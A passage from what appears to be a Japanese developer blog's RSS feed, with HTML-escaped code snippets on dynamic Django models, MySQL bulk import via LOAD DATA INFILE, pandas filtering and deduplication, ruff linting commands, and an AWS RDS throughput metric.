&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attrs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;__module__&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;oracle.models&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Meta&amp;#34;&lt;/span&gt;: Meta, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;fields}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; models_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; type(class_name, (models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Model,), attrs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; models_class
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_named_model&lt;/span&gt;(name, code):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# モデルクラス取得&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; named_model(name, code)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; model_class&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db_table &lt;span style="color:#f92672"&gt;in&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;.&lt;/span&gt;introspection&lt;span style="color:#f92672"&gt;.&lt;/span&gt;table_names():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# テーブルが存在していたら終了&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; model_class
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# テーブルの作成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;.&lt;/span&gt;schema_editor() &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; schema_editor:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; schema_editor&lt;span style="color:#f92672"&gt;.&lt;/span&gt;create_model(model_class)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; model_class
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>MySQL BULK INSERT</title><link>https://hdknr.github.io/blogs/posts/2023/08/mysql-bulk-insert/</link><pubDate>Tue, 15 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/mysql-bulk-insert/</guid><description>&lt;h1 id="mysql-バルクインサート"&gt;MySQL バルクインサート&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wonwon-eater.com/mysql-insert/#outline__1_1"&gt;MySQL 複数データのバルク INSERT や CSV ファイルから高速インポートする方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.softel.co.jp/blogs/tech/archives/2293"&gt;【MySQL】LOAD DATA INFILE するときのファイルの文字コード&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@main.command&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;source_file&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.option&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;--encoding&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-e&amp;#34;&lt;/span&gt;, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;cp932&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.pass_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data_import&lt;/span&gt;(ctx, source_file, encoding):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; import TSV file &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; opt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; get_model()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;join([f&lt;span style="color:#f92672"&gt;.&lt;/span&gt;name &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; f &lt;span style="color:#f92672"&gt;in&lt;/span&gt; opt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fields &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; f&lt;span style="color:#f92672"&gt;.&lt;/span&gt;name &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;]])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SQL &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; LOAD DATA LOCAL INFILE &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;source_file&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; INTO TABLE &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;opt&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db_table&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; CHARACTER SET &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;encoding&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; FIELDS TERMINATED BY &amp;#39;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\t&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; (&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;fields&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;) ;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; connection&lt;span style="color:#f92672"&gt;.&lt;/span&gt;cursor() &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; cursor:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cursor&lt;span style="color:#f92672"&gt;.&lt;/span&gt;execute(SQL)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(cursor&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fetchall())
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重複時に UPDATE する(&lt;code&gt;REPLACE&lt;/code&gt;):&lt;/p&gt;</description></item><item><title>pandas memo</title><link>https://hdknr.github.io/blogs/posts/2023/08/pandas-memo/</link><pubDate>Wed, 02 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/pandas-memo/</guid><description>&lt;h1 id="pandas-dataframe"&gt;pandas: Dataframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://note.nkmk.me/python-pandas-str-contains-match/"&gt;pandas で特定の文字列を含む行を抽出（完全一致、部分一致）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://note.nkmk.me/python-pandas-multiple-conditions/"&gt;複数条件&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;否定:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~&lt;/code&gt; (&lt;strong&gt;NOT&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;型変換&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.amedama.jp/entry/2017/11/01/211110"&gt;Python: pandas でカラムの型を変換する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="検索"&gt;検索&lt;/h2&gt;
&lt;p&gt;選択肢: &lt;code&gt;.isin(list)&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[df[&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;isin([&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;])] &lt;span style="color:#75715e"&gt;# 0,1 のみ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[&lt;span style="color:#f92672"&gt;~&lt;/span&gt;(df[&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;isin([&lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;]))] &lt;span style="color:#75715e"&gt;# 0, 1以外&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="ユニーク"&gt;ユニーク&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;unique&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;items &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;unique()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重複を除外(&lt;code&gt;drop_duplicates&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df[[&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;]]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;drop_duplicates()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重複を抽出:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;size &lt;span style="color:#f92672"&gt;=&lt;/span&gt; df&lt;span style="color:#f92672"&gt;.&lt;/span&gt;groupby(keys)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;size()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; size[ size &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; res&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shape[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(res)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="変換"&gt;変換&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dict&lt;/code&gt; 一覧:&lt;/p&gt;</description></item><item><title>ruff</title><link>https://hdknr.github.io/blogs/posts/2023/08/ruff/</link><pubDate>Tue, 01 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/ruff/</guid><description>&lt;h1 id="ruff"&gt;ruff&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gihyo.jp/article/2023/03/monthly-python-2303"&gt;新しい静的コード解析ツール「Ruff」をご紹介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/harupy/articles/a14b146d289a6c"&gt;Ruff の紹介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ciscorn/items/bf78b7ad8e0e332f891b"&gt;Python の Ruff (linter) でコード整形もできるようになりました&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/tk_resilie/articles/python_ruff_setup"&gt;Python の Linter Formatter は、もう Ruff 一択。最短 5 分でプロジェクトに導入&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;poetry run ruff format .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;poetry run ruff check . --fix
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Pandas Sort</title><link>https://hdknr.github.io/blogs/posts/2023/07/pandas-sort/</link><pubDate>Mon, 31 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/pandas-sort/</guid><description>&lt;h1 id="pandas-ソート"&gt;Pandas: ソート&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/32072076/find-the-unique-values-in-a-column-and-then-sort-them"&gt;Find the unique values in a column and then sort them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/26977076/pandas-unique-values-multiple-columns"&gt;pandas unique values multiple columns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.nkmk.me/python-numpy-ravel-flatten/"&gt;NumPy 配列 ndarray を一次元化（平坦化）する ravel と flatten&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS RDS EBSByteBalance%</title><link>https://hdknr.github.io/blogs/posts/2023/07/aws-rds-ebsbytebalance/</link><pubDate>Tue, 25 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/aws-rds-ebsbytebalance/</guid><description>&lt;h1 id="ebsbytebalance"&gt;EBSByteBalance%&lt;/h1&gt;
&lt;p&gt;AWS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-optimized.html#current"&gt;EBS 最適化&lt;/a&gt; RDS インスタンスクラスを使用している場合は、CloudWatch のグラフを使用して IOPS またはスループットのスロットリングがないかを確認します。&lt;/li&gt;
&lt;li&gt;バーストキャパシティを備えたインスタンスクラスの場合は、CloudWatch のグラフで EBSIOBalance% および EBSByteBalance% のメトリクスを表示します。&lt;/li&gt;
&lt;li&gt;EBSIOBalance% または EBSByteBalance% の常に低い値は、インスタンスレベルで IOPS またはスループットのボトルネックが発生していることを示唆しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="資料"&gt;資料&lt;/h2&gt;
&lt;ul&gt;
